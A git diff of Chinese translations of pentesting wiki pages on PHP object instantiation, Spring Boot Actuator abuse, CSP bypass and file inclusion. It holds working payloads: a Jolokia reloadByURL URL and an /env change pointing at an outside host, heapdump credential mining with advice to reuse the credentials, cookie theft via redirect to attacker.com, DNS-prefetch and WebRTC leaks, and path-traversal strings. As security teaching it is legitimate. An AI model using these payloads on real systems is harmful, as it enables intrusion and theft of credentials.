PHP 8.0 之前版本的 deserialization attacks。 +SSRF 可以导致在 PHP 8.0 之前的版本中通过 Phar 协议发生反序列化攻击。 ### **利用 PDOs** -PDO 类的构造函数允许通过 DSN strings 连接到数据库,可能允许文件创建或其他交互: +PDO 类的构造函数允许通过 DSN 字符串连接到数据库,可能导致创建文件或其他交互: ```php new PDO("sqlite:/tmp/test.txt") ``` ### **SoapClient/SimpleXMLElement XXE** -PHP 到 5.3.22 和 5.4.12 的版本容易受到通过 `SoapClient` 和 `SimpleXMLElement` 构造函数的 XXE 攻击,具体取决于 libxml2 的版本。 +在 libxml2 的特定版本条件下,PHP(最高至 5.3.22 和 5.4.12)通过 `SoapClient` 和 `SimpleXMLElement` 构造函数易受 XXE 攻击。 -## RCE 通过 Imagick 扩展 +## 通过 Imagick Extension 实现 RCE -在对**项目依赖项**的分析中,发现通过实例化新对象可以利用 **Imagick** 进行**命令执行**。这提供了利用漏洞的机会。 +在对一个项目依赖项的分析中,发现可以通过实例化新对象利用 Imagick 来进行 command execution。这为利用漏洞提供了机会。 -### VID parser +### VID 解析器 -发现 VID 解析器能够将内容写入文件系统中的任意指定路径。这可能导致将 PHP shell 放置到可通过 Web 访问的目录中,从而实现远程代码执行(RCE)。 +发现 VID 解析器具有将内容写入文件系统任意指定路径的能力。这可能导致在可被 Web 访问的目录中放置 PHP shell,从而实现 Remote Code Execution (RCE)。 #### VID Parser + File Upload -需要注意的是 PHP 将上传的文件临时存放在 `/tmp/phpXXXXXX`。Imagick 中的 VID 解析器使用 **msl** 协议,可以在文件路径中处理通配符,从而将临时文件传送到选定的目标位置。该方法提供了在文件系统中实现任意文件写入的另一种途径。 +需要注意的是,PHP 会将上传的文件临时存储在 `/tmp/phpXXXXXX`。Imagick 中的 VID 解析器,利用 **msl** 协议,可以在文件路径中处理通配符,从而将临时文件转移到选定位置。该方法为在文件系统中实现任意文件写入提供了另一种途径。 -### PHP 崩溃 + Brute Force +### PHP Crash + Brute Force -一种在[**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)中描述的方法涉及上传会在删除前触发服务器崩溃的文件。通过对临时文件名进行暴力猜测,Imagick 就有可能执行任意 PHP 代码。然而,该技术仅在过时的 ImageMagick 版本中有效。 +在 [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) 中描述的一种方法,涉及上传在删除之前触发服务器崩溃的文件。通过暴力破解临时文件名,Imagick 就有可能执行任意 PHP 代码。然而,该技术仅在过时的 ImageMagick 版本中被发现有效。 ## Format-string in class-name resolution (PHP 7.0.0 Bug #71105) -当用户输入控制类名(例如 `new $_GET['model']()`)时,PHP 7.0.0 在进行 `Throwable` 重构期间引入了一个短暂的 Bug,导致引擎在解析类名时错误地将其当作 printf 格式字符串处理。这使得可以在 PHP 内部利用经典的 printf 风格原语:leaks(使用 `%p`)、通过宽度说明符控制写入计数,以及针对进程内指针(例如 ELF 构建的 GOT 条目)使用 `%n` 执行任意写入。 +当用户输入控制类名(例如,`new $_GET['model']()`)时,PHP 7.0.0 在进行 `Throwable` 重构期间引入了一个短暂的错误,导致引擎在解析类名时错误地将其视为 printf 格式字符串。这使得在 PHP 内实现经典的 printf 风格原语成为可能:leaks with `%p`,通过宽度说明符控制写入计数,以及使用 `%n` 对进程内指针(例如 ELF 构建上的 GOT 条目)进行任意写入。 -Minimal repro vulnerable pattern: +最小复现的易受攻击模式: ```php d%$n` 来实现部分覆盖。 +注意: +- 仅适用于 PHP 7.0.0(Bug [#71105](https://bugs.php.net/bug.php?id=71105));在随后的版本中已修复。如果存在任意类实例化,严重性:critical。 +- 典型的 payload 会串联多个 `%p` 来遍历栈,然后使用 `%.d%$n` 来实现部分覆盖。 ## References diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index b712f21c0..f8ad7573d 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -6,29 +6,29 @@
-**来源** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) +**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) -## 利用 Spring Boot Actuators +## Exploiting Spring Boot Actuators **查看原始文章:** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] -### **关键点:** +### **要点:** -- Spring Boot Actuators 会注册诸如 `/health`、`/trace`、`/beans`、`/env` 等端点。在 1 到 1.4 版本中,这些端点默认无需认证即可访问。从 1.5 开始,默认只有 `/health` 和 `/info` 被认为是非敏感的,但开发者经常会关闭相关安全配置。 +- Spring Boot Actuators 注册诸如 `/health`、`/trace`、`/beans`、`/env` 等端点。在 1 到 1.4 版本中,这些端点可在未认证的情况下访问。从 1.5 起,默认只有 `/health` 和 `/info` 被视为非敏感端点,但开发者经常会关闭此安全设置。 - 某些 Actuator 端点可能会暴露敏感数据或允许危险操作: -- `/dump`、`/trace`、`/logfile`、`/shutdown`、`/mappings`、`/env`、`/actuator/env`、`/restart`` 和 `/heapdump`。 -- 在 Spring Boot 1.x 中,actuators 注册在根 URL 下,而在 2.x 中,它们位于 `/actuator/` 基路径下。 +- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, 和 `/heapdump`。 +- 在 Spring Boot 1.x 中,actuators 注册在根 URL 下;而在 2.x 中,它们位于 `/actuator/` 基础路径下。 ### **利用技术:** 1. **Remote Code Execution via '/jolokia'**: - `/jolokia` actuator 端点暴露了 Jolokia Library,允许通过 HTTP 访问 MBeans。 -- `reloadByURL` 操作可以被利用从外部 URL 重新加载 logging 配置,这可能导致盲 XXE 或通过精心构造的 XML 配置触发 Remote Code Execution。 -- 示例利用 URL:`http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`。 +- `reloadByURL` action 可以被利用从外部 URL 重新加载日志配置,这可能导致 blind XXE 或通过精心构造的 XML 配置触发 Remote Code Execution。 +- 示例利用 URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. 2. **Config Modification via '/env'**: - 如果存在 Spring Cloud Libraries,`/env` 端点允许修改环境属性。 -- 可以操纵属性来利用漏洞,例如在 Eureka 的 serviceURL 中触发 XStream 反序列化漏洞。 +- 可以操纵属性以利用漏洞,例如在 Eureka serviceURL 中的 XStream 反序列化漏洞。 - 示例 exploit POST 请求: ``` @@ -40,22 +40,22 @@ Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` -3. **其他有用的设置**: -- 如 `spring.datasource.tomcat.validationQuery`、`spring.datasource.tomcat.url` 和 `spring.datasource.tomcat.max-active` 等属性可以被操纵以进行各种利用,例如 SQL 注入或更改数据库连接字符串。 +3. **Other Useful Settings**: +- 像 `spring.datasource.tomcat.validationQuery`、`spring.datasource.tomcat.url` 和 `spring.datasource.tomcat.max-active` 这样的属性可以被操纵以进行各种利用,例如 SQL 注入或修改数据库连接字符串。 -### **补充信息:** +### **附加信息:** - 默认 actuators 的完整列表可以在 [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) 找到。 -- 在 Spring Boot 2.x 中,`/env` 端点使用 JSON 格式来修改属性,但总体概念相同。 +- Spring Boot 2.x 中的 `/env` 端点使用 JSON 格式来修改属性,但整体概念相同。 ### **相关主题:** 1. **Env + H2 RCE**: -- 有关利用 `/env` 端点与 H2 数据库结合的详细信息,请参见 [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)。 +- 关于利用 `/env` 端点与 H2 数据库结合的详细信息,请参见 [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)。 2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: -- Spring 框架对 HTTP pathname 中的 matrix 参数(`;`)的处理可以被利用进行 Server-Side Request Forgery (SSRF)。 -- 示例 exploit 请求: +- Spring 框架对 HTTP 路径名中 matrix 参数(`;`)的处理可以被利用来触发 SSRF。 +- 示例利用请求: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com @@ -63,9 +63,9 @@ Connection: close ``` ## HeapDump secrets mining (credentials, tokens, internal URLs) -如果暴露了 `/actuator/heapdump`,通常可以检索到完整的 JVM heap snapshot,其中经常包含实时的 secrets(DB creds、API keys、Basic-Auth、internal service URLs、Spring property maps 等)。 +如果暴露了 `/actuator/heapdump`,通常可以检索到完整的 JVM heap 快照,里面经常包含活跃的 secrets(数据库凭证、API keys、Basic-Auth、内部服务 URL、Spring 属性映射等)。 -- 下载并快速初筛: +- 下载并快速初步分析: ```bash wget http://target/actuator/heapdump -O heapdump # Quick wins: look for HTTP auth and JDBC @@ -74,8 +74,8 @@ strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.dat printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d ``` -- 使用 VisualVM 和 OQL 进行深入分析: -- 在 VisualVM 中打开 heapdump,检查 `java.lang.String` 的实例或运行 OQL 来搜索 secrets: +- 使用 VisualVM 和 OQL 进行更深入的分析: +- 在 VisualVM 中打开 heapdump,检查 `java.lang.String` 实例或运行 OQL 搜索 secrets: ``` select s.toString() from java.lang.String s @@ -87,20 +87,19 @@ where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|Or java -jar JDumpSpider-*.jar heapdump ``` 典型的高价值发现: -- Spring `DataSourceProperties` / `HikariDataSource` objects 暴露 `url`、`username`、`password`。 -- `OriginTrackedMapPropertySource` 条目泄露 `management.endpoints.web.exposure.include`、服务端口,以及 URL 中嵌入的 Basic-Auth(例如 Eureka `defaultZone`)。 -- 内存中捕获的明文 HTTP 请求/响应片段,包括 `Authorization: Basic ...`。 +- Spring `DataSourceProperties` / `HikariDataSource` 对象暴露的 `url`、`username`、`password`。 +- `OriginTrackedMapPropertySource` 条目泄露 `management.endpoints.web.exposure.include`、服务端口,以及嵌入在 URL 中的 Basic-Auth(例如 Eureka `defaultZone`)。 +- 以明文形式存在的 HTTP 请求/响应片段,包括内存中捕获的 `Authorization: Basic ...`。 提示: -- 使用面向 Spring 的 wordlist 快速发现 actuator endpoints(例如 SecLists 的 spring-boot.txt),并始终检查 `/actuator/logfile`、`/actuator/httpexchanges`、`/actuator/env` 和 `/actuator/configprops` 是否也被暴露。 -- 来自 heapdump 的 credentials 经常对相邻服务有效,有时也对系统用户(SSH)有效,因此应广泛尝试这些凭据。 - +- 使用以 Spring 为中心的字典快速发现 actuator 端点(例如 SecLists 的 spring-boot.txt),并始终检查 `/actuator/logfile`、`/actuator/httpexchanges`、`/actuator/env` 和 `/actuator/configprops` 是否也被暴露。 +- 来自 heapdump 的凭证常常可用于相邻服务,有时也可用于系统用户(SSH),因此广泛尝试这些凭证。 ## Abusing Actuator loggers/logging to capture credentials -如果 `management.endpoints.web.exposure.include` 允许且 `/actuator/loggers` 被暴露,你可以动态将处理认证和请求处理的包的日志级别提升到 DEBUG/TRACE。配合可读的日志(通过 `/actuator/logfile` 或已知日志路径),这可能会 leak 登录流程中提交的 credentials(例如 Basic-Auth headers 或表单参数)。 +如果 `management.endpoints.web.exposure.include` 允许并且暴露了 `/actuator/loggers`,你可以动态将处理认证和请求处理的包的日志级别提高到 DEBUG/TRACE。结合可读的日志(通过 `/actuator/logfile` 或已知的日志路径),这可能会 leak 在登录流程中提交的凭证(例如 Basic-Auth 头或表单参数)。 -- 枚举并调高敏感 loggers: +- 枚举并提高敏感 logger: ```bash # List available loggers curl -s http://target/actuator/loggers | jq . @@ -123,14 +122,13 @@ curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|user curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))' ``` -- 触发 login/authentication 流量并在日志中解析 creds。在使用 gateway 做 auth 前端的微服务部署中,为 gateway/security 包启用 TRACE 通常会使 headers 和 form bodies 可见。有些环境甚至会周期性生成合成的 login traffic,一旦日志变得详细,harvesting 就十分容易。 +- 触发登录/认证流量并在日志中解析凭证。在由 gateway 作为前端的微服务架构中,为 gateway/security 包启用 TRACE 通常会使头和表单体可见。一些环境甚至会定期生成合成登录流量,一旦日志详细级别提高,采集会变得非常容易。 注意: -- 完成后重置日志级别:`POST /actuator/loggers/` 并使用 `{ "configuredLevel": null }`。 -- 如果 `/actuator/httpexchanges` 被暴露,它也会展示最近的请求元数据,可能包含敏感 headers。 +- 完成后重置日志级别:`POST /actuator/loggers/`,body 为 `{ "configuredLevel": null }`。 +- 如果暴露了 `/actuator/httpexchanges`,它也可能展示最近的请求元数据,其中可能包含敏感头信息。 - -## 参考资料 +## References - [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations) - [VisualVM](https://visualvm.github.io/) diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index eb361db5b..c16723bf9 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -4,9 +4,9 @@ ## 什么是 CSP -Content Security Policy (CSP) 被视为一种浏览器技术,主要用于**防护诸如跨站脚本攻击 (XSS) 之类的攻击**。它通过定义和说明浏览器可以从中安全加载资源的路径和来源来发挥作用。这些资源包括图片、frames 和 JavaScript 等多种元素。例如,策略可能允许从同一域 (self) 加载和执行资源,包括 inline 资源,以及通过 `eval`、`setTimeout` 或 `setInterval` 等函数执行字符串代码。 +内容安全策略 (CSP) 被视为一种浏览器技术,主要旨在**抵御诸如跨站脚本 (XSS) 等攻击**。它通过定义并详细说明浏览器可以安全加载资源的路径和来源来发挥作用。这些资源包括图像、框架和 JavaScript 等元素。例如,策略可能允许从同一域(self)加载和执行资源,包括内联资源,以及通过诸如 `eval`、`setTimeout` 或 `setInterval` 之类的函数执行字符串代码。 -CSP 的实现通过**响应头**或通过将**meta 元素嵌入 HTML 页面**来进行。浏览器会遵循该策略主动强制这些规定,并在检测到违规时立即阻止。 +CSP 的实现通过 **响应头** 或在 HTML 页面中加入 **meta 元素** 来完成。遵循该策略后,浏览器会主动执行这些规定,并立即阻止任何被检测到的违规行为。 - 通过响应头实现: ``` @@ -16,16 +16,16 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; ```xml ``` -### 请求头 +### 响应头 -CSP 可以通过以下请求头来强制或监控: +CSP 可以通过以下响应头来强制执行或监控: - `Content-Security-Policy`: 强制执行 CSP;浏览器会阻止任何违规行为。 - `Content-Security-Policy-Report-Only`: 用于监控;报告违规但不阻止。适合在预生产环境中进行测试。 ### 定义资源 -CSP 限制加载主动和被动内容的来源,控制诸如内联 JavaScript 执行和 `eval()` 的使用等方面。示例策略如下: +CSP 限制加载主动和被动内容的来源,控制诸如 inline JavaScript 的执行和 `eval()` 的使用等方面。示例策略如下: ```bash default-src 'none'; img-src 'self'; @@ -37,44 +37,44 @@ frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` -### Directives +### 指令 -- **script-src**: 允许特定来源的 JavaScript,包括 URL、内联脚本,以及由事件处理程序或 XSLT 样式表触发的脚本。 -- **default-src**: 设置默认策略,用于在缺少特定 fetch 指令时获取资源。 -- **child-src**: 指定允许的资源,用于 web workers 和嵌入的 frame 内容。 -- **connect-src**: 限制可以通过如 fetch、WebSocket、XMLHttpRequest 等接口加载的 URL。 -- **frame-src**: 限制 frames 的 URL。 -- **frame-ancestors**: 指定哪些来源可以嵌入当前页面,适用于 ``、` // The bot will load an URL with the payload @@ -548,24 +549,23 @@ run() ``` ### 通过 Bookmarklets -这种攻击通常涉及社交工程,攻击者会**说服用户将链接拖放到浏览器的 bookmarklet 上**。该 bookmarklet 会包含**malicious javascript**代码,当被 drag\&dropped 或点击时,会在当前网页窗口的上下文中执行,**bypassing CSP 并允许窃取敏感信息**,例如 cookies 或 tokens。 +此攻击通常涉及一些社交工程,攻击者会**说服用户将一个链接拖放到浏览器的 bookmarklet 上**。该 bookmarklet 会包含**恶意 javascript**代码,当被 drag\&dropped 或点击时会在当前 web 窗口的上下文中执行,**绕过 CSP 并允许窃取敏感信息**,例如 cookies 或 tokens。 -For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). +更多信息请 [**查看原始报告**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。 ### 通过限制 CSP 绕过 CSP -In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**. +在 [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) 中,CSP 被绕过的方法是向一个被允许的 iframe 注入更严格的 CSP,该 CSP 禁止加载某个特定的 JS 文件,随后通过 **prototype pollution** 或 **dom clobbering**,允许 **滥用另一个脚本来加载任意脚本**。 -你可以使用 **`csp`** 属性来 **限制 Iframe 的 CSP**: +你可以使用 **`csp`** 属性 **限制 Iframe 的 CSP**: ```html ``` -In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), it was possible via **HTML injection** to **restrict** more a **CSP** so a script preventing CSTI was disabled and therefore the **vulnerability became exploitable.**\ -在 [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), 通过 **HTML injection** 可以进一步收紧 **CSP**,从而导致用于防止 CSTI 的脚本被禁用,因此该 **漏洞变得可被利用。**\ -CSP can be made more restrictive using **HTML meta tags** and inline scripts can disabled **removing** the **entry** allowing their **nonce** and **enable specific inline script via sha**: -CSP 可以通过 **HTML meta tags** 变得更严格,inline scripts 可以通过**移除**允许其 **nonce** 的 **entry** 来被禁用,并通过 **sha** 启用特定的 inline script: +在 [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48),通过 **HTML injection** 可以对 **CSP** 施加更严格的限制,从而禁用了用于阻止 CSTI 的脚本,因此该 **vulnerability 因而可被利用。** + +CSP 可以通过使用 **HTML meta tags** 变得更严格,内联脚本也可以通过**移除**允许其 **nonce** 的 **条目** 来禁用,或通过 **enable specific inline script via sha** 来启用特定的内联脚本: ```html ``` -### JS exfiltration 使用 Content-Security-Policy-Report-Only +### 使用 Content-Security-Policy-Report-Only 的 JS exfiltration -如果你能让服务器返回头部 **`Content-Security-Policy-Report-Only`** 且该头的 **由你控制的值**(可能是因为 CRLF),你可以让它指向你的服务器;如果你用 **`` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\ -For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) +攻击者可以滥用该 endpoint 来针对 WordPress **generate a SOME attack**,并将其 **embed** 在 `` 中。请注意该 **script** 会被 **loaded**,因为它被 **allowed by 'self'**。此外,既然 WordPress 已安装,攻击者可能会通过 **vulnerable** **callback** endpoint 滥用 **SOME attack** 从而 **bypass the CSP**,以提升某个用户的权限、安装新插件等...\ +关于如何执行此攻击的更多信息,请查看 [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) -## CSP Exfiltration 绕过 +## CSP Exfiltration Bypasses -如果存在严格的 CSP 不允许你**与外部服务器交互**,仍有一些方法可以将信息外泄。 +如果存在严格的 CSP 不允许你 **interact with external servers**,仍然有一些方法可以用来 exfiltrate 信息。 ### Location -You could just update the location to send to the attacker's server the secret information: +你可以直接更新 location,将秘密信息发送到 attacker's server: ```javascript var sessionid = document.cookie.split("=")[1] + "." document.location = "https://attacker.com/?" + sessionid ``` -### Meta 标签 +### Meta tag -你可以通过注入 meta 标签进行重定向(这只是一个重定向,不会 leak 内容) +你可以通过注入 meta tag 进行重定向(这只是重定向,不会 leak 内容) ```html ``` ### DNS Prefetch -为了加快页面加载,浏览器会预先将主机名解析为 IP 地址并缓存以备后用。\ -你可以用以下方式指示浏览器预解析主机名: `` +为了更快加载页面,浏览器会预解析主机名为 IP 地址并将其缓存以便后用.\ +你可以指示浏览器预解析主机名: `` -你可以滥用此行为来 **exfiltrate sensitive information via DNS requests**: +你可以滥用此行为来 **exfiltrate sensitive information via DNS requests**: ```javascript var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] @@ -695,18 +695,18 @@ linkEl.rel = "prefetch" linkEl.href = urlWithYourPreciousData document.head.appendChild(linkEl) ``` -为了避免这种情况发生,服务器可以发送 HTTP header: +为防止发生这种情况,服务器可以发送 HTTP header: ``` X-DNS-Prefetch-Control: off ``` > [!TIP] -> 显然,此技术在 headless browsers (bots) 中不起作用 +> 据称,该技术在 headless browsers (bots) 中不起作用 ### WebRTC -在多篇文章中可以看到 **WebRTC 不会检查 CSP 的 `connect-src` 策略**。 +在多处页面上你可以看到 **WebRTC 不会检查 CSP 的 `connect-src` 策略**。 -实际上,你可以使用 _DNS request_ 来 _leak_ 信息。查看以下代码: +实际上你可以使用 _DNS request_ 来 _leak_ 信息。查看以下代码: ```javascript ;(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) @@ -714,7 +714,7 @@ p.createDataChannel("") p.setLocalDescription(await p.createOffer()) })() ``` -另一个选项: +另一种选择: ```javascript var pc = new RTCPeerConnection({ "iceServers":[ @@ -728,7 +728,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ### CredentialsContainer -凭证弹出窗口会向 iconURL 发送 DNS 请求,而不会受到页面的限制。它仅在安全上下文(HTTPS)或 localhost 上工作。 +凭据弹窗向 iconURL 发送 DNS 请求,不受页面限制。它仅在安全上下文 (HTTPS) 或在 localhost 上生效。 ```javascript navigator.credentials.store( new FederatedCredential({ @@ -744,7 +744,7 @@ iconURL:"https:"+your_data+"example.com" - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) -## 自动创建 CSP +## 自动生成 CSP [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 41c9cbe79..f7a1ae95d 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,12 +4,12 @@ ## File Inclusion -**Remote File Inclusion (RFI):** 文件从远程服务器加载(例如:你可以写入代码并由服务器执行)。在 php 中默认**禁用**(**allow_url_include**)。\ +**Remote File Inclusion (RFI):** 该文件从远程服务器加载(优势:你可以写入代码并让服务器执行它)。在 php 中默认**禁用**(**allow_url_include**)。\ **Local File Inclusion (LFI):** 服务器加载本地文件。 -当用户以某种方式能够控制将被服务器加载的文件时,就会出现该漏洞。 +当用户能以某种方式控制将被服务器加载的文件时,就会发生该漏洞。 -易受攻击的 **PHP functions**: require, require_once, include, include_once +易受影响的 **PHP 函数**: require, require_once, include, include_once 用于利用此漏洞的一个有趣工具: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) @@ -19,17 +19,17 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../ ``` ### **Linux** -**混合多个 *nix LFI 列表并添加更多路径,我创建了这个:** +**将几个 \*nix LFI 列表混合并添加更多路径后,我创建了这个:** {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}} -也试着将 `/` 替换为 `\`\ -也试着添加 `../../../../../` +还可以尝试将 `/` 改为 `\`\ +还可以尝试添加 `../../../../../` -使用多种技术查找文件 /etc/password(用于检查漏洞是否存在)的列表可以在 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) 找到 +一个使用多种技术查找文件 /etc/password(用于检查漏洞是否存在)的列表可以在[这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)找到 ### **Windows** @@ -40,22 +40,22 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}} -也试着将 `/` 替换为 `\`\ -也试着移除 `C:/` 并添加 `../../../../../` +还可以尝试将 `/` 改为 `\`\ +还可以尝试移除 `C:/` 并添加 `../../../../../` -使用多种技术查找文件 /boot.ini(用于检查漏洞是否存在)的列表可以在 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) 找到 +一个使用多种技术查找文件 /boot.ini(用于检查漏洞是否存在)的列表可以在[这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)找到 ### **OS X** -查看 linux 的 LFI 列表。 +查看 Linux 的 LFI 列表。 ## Basic LFI and bypasses -所有示例都针对 Local File Inclusion,但也可应用于 Remote File Inclusion(page=[http://myserver.com/phpshellcode.txt\\]()。 +所有示例均适用于 Local File Inclusion,但也可用于 Remote File Inclusion(page=[http://myserver.com/phpshellcode.txt\\]()。 ``` http://example.com/index.php?page=../../../etc/passwd ``` -### 遍历序列被非递归地移除 +### traversal sequences 被非递归地剥离 ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd @@ -63,15 +63,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** -Bypass 在提供的字符串末尾附加更多字符 (bypass of: $\_GET\['param']."php") +绕过在提供的字符串末尾追加更多字符的机制(绕过:$\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` -该问题 **自 PHP 5.4 起已解决** +自 **PHP 5.4** 起此问题已解决 ### **编码** -你可以使用非标准的编码方式,比如 double URL encode(以及其他方式): +你可以使用非标准的编码,比如 double URL encode(或其他方式): ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd @@ -80,42 +80,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### 来自已存在的文件夹 -后端可能在检查文件夹路径: +也许后端正在检查文件夹路径: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### 在服务器上探索文件系统目录 -可以通过采用某些技术递归地探索服务器的文件系统,以识别目录(不只是文件)。该过程包括确定目录深度并探测特定文件夹是否存在。下面是实现此目的的详细方法: +服务器的文件系统可以通过递归方式来识别目录,而不仅仅是文件,方法是使用某些技巧。这个过程包括确定目录深度并探测特定文件夹是否存在。下面是实现此目的的详细方法: -1. **Determine Directory Depth:** 确定当前目录的深度,通过成功获取 `/etc/passwd` 文件(适用于 Linux-based 的服务器)来判断。示例 URL 可能如下所示,表示深度为三: +1. **确定目录深度:** 通过成功获取 `/etc/passwd` 文件来确定当前目录的深度(适用于服务器为 Linux-based 的情况)。示例 URL 可能如下所示,表示深度为 3: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **探测文件夹:** 在 URL 后附加疑似文件夹名称(例如 `private`),然后导航回 `/etc/passwd`。额外的目录层级需要将 depth 增加一: +2. **探测文件夹:** 将怀疑的文件夹名(例如 `private`)附加到 URL,然后返回到 `/etc/passwd`。额外的目录层级需要将深度增加一: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` 3. **解释结果:** 服务器的响应表明该文件夹是否存在: -- **错误 / 无输出:** 文件夹 `private` 很可能不存在于指定位置。 -- **`/etc/passwd` 的内容:** 确认存在 `private` 文件夹。 +- **错误 / 没有输出:** 文件夹 `private` 很可能在指定位置不存在。 +- **`/etc/passwd` 的内容:** 已确认存在 `private` 文件夹。 4. **递归探索:** 发现的文件夹可以使用相同的技术或传统的 Local File Inclusion (LFI) 方法进一步探测子目录或文件。 -要在文件系统的不同位置探索目录,请相应调整 payload。例如,要检查 `/var/www/` 是否包含 `private` 目录(假设当前目录深度为 3),使用: +要探索文件系统中不同位置的目录,请相应调整 payload。 例如,要检查 `/var/www/` 是否包含 `private` 目录(假设当前目录处于深度 3),请使用: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Path truncation 是一种用于操纵 web 应用中文件路径的方法。它常被用来通过绕过那些在文件路径末尾附加额外字符的安全措施来访问受限文件。目标是构造一个文件路径,使得在被安全措施修改后仍然指向所需的文件。 +Path truncation 是一种用于操纵 web 应用中文件路径的方法。它通常用于通过绕过在文件路径末尾追加额外字符的某些安全措施来访问受限文件。其目的是构造一个文件路径,该路径在被安全措施修改后仍然指向目标文件。 -In PHP 中,由于文件系统的特性,对同一路径的不同表示通常会被视为等价。例如: +在 PHP 中,由于文件系统的特性,文件路径的多种表示方式可能被视为等价。例如: -- `/etc/passwd`, 